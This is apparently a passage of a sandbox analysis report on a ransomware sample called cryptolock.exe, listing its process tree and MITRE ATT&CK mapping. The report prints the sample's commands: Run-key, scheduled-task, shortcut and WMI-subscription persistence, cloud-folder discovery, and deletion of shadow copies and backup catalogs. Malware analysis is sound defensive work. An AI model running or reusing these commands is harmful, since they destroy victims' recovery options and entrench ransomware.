1⤵
- Checks SCSI registry key(s)
PID:4264

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5976

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:120

C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
1⤵
PID:3776
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  PID:5536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-WmiObject Win32_SystemDriver | Select-Object -ExpandProperty Name"
  2⤵
  PID:3312
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  PID:5788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3644
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdateHelper /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe\" /f
  2⤵
  - Modifies registry key
  PID:4344
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn Microsoft\Windows\UpdateHelper /xml C:\Windows\SystemTemp\\task_3776.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command [Environment]::GetFolderPath('Startup')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('WindowsUpdateHelper.lnk'); $lnk.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe'; $lnk.WindowStyle = 7; $lnk.Save()"
  2⤵
  PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$filterArgs = @{ Name = 'WindowsUpdateFilter'; EventNameSpace = 'root/CIMV2'; QueryLanguage = 'WQL'; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" }; $filter = Set-WmiInstance -Class __EventFilter -Namespace 'root/subscription' -Arguments $filterArgs; $consumerArgs = @{ Name = 'WindowsUpdateConsumer'; CommandLineTemplate = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe' }; $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace 'root/subscription' -Arguments $consumerArgs; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace 'root/subscription' -Arguments @{Filter = $filter; Consumer = $consumer}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  PID:5660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  PID:5248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  PID:296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "vssadmin delete shadows /all /quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1460
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Disable-ComputerRestore -Drive 'C:\' 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "wbadmin delete catalog -quiet 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5808
- - C:\Windows\system32\wbadmin.exe
    "C:\Windows\system32\wbadmin.exe" delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  PID:5572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  PID:5748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  PID:5764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'pCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Box'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Nextcloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'ownCloud'"
  2⤵
  PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Seafile'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Sync'"
  2⤵
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Resilio'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root"
  2⤵
  PID:4272
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\Users\Default\Desktop\CRYPTOLOCK_DECRYPT_INSTRUCTIONS.html
  2⤵
  - Executes a command shell one-liner
  PID:2924

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1544

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1080

C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
C:\Users\Admin\AppData\Local\Temp\cryptolock.exe
1⤵
PID:3312
- C:\Windows\system32\tasklist.exe
  "tasklist" /FO CSV /NH
  2⤵
  - Discovers running processes
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-WmiObject Win32_SystemDriver | Select-Object -ExpandProperty Name"
  2⤵
  PID:5844
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  PID:592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1948
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdateHelper /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\cryptolock.exe\" /f
  2⤵
  - Modifies registry key
  PID:5352
- C:\Windows\system32\schtasks.exe
  "schtasks" /create /tn Microsoft\Windows\UpdateHelper /xml C:\Windows\SystemTemp\\task_3312.xml /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command [Environment]::GetFolderPath('Startup')
  2⤵
  PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut('WindowsUpdateHelper.lnk'); $lnk.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe'; $lnk.WindowStyle = 7; $lnk.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "$filterArgs = @{ Name = 'WindowsUpdateFilter'; EventNameSpace = 'root/CIMV2'; QueryLanguage = 'WQL'; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" }; $filter = Set-WmiInstance -Class __EventFilter -Namespace 'root/subscription' -Arguments $filterArgs; $consumerArgs = @{ Name = 'WindowsUpdateConsumer'; CommandLineTemplate = 'C:\Users\Admin\AppData\Local\Temp\cryptolock.exe' }; $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace 'root/subscription' -Arguments $consumerArgs; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace 'root/subscription' -Arguments @{Filter = $filter; Consumer = $consumer}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'OneDrive'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Google Drive'"
  2⤵
  PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Dropbox'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'iCloud'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "[Environment]::GetFolderPath('MyDocuments') | Join-Path -ChildPath 'Mega'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Virtualization/Sandbox Evasion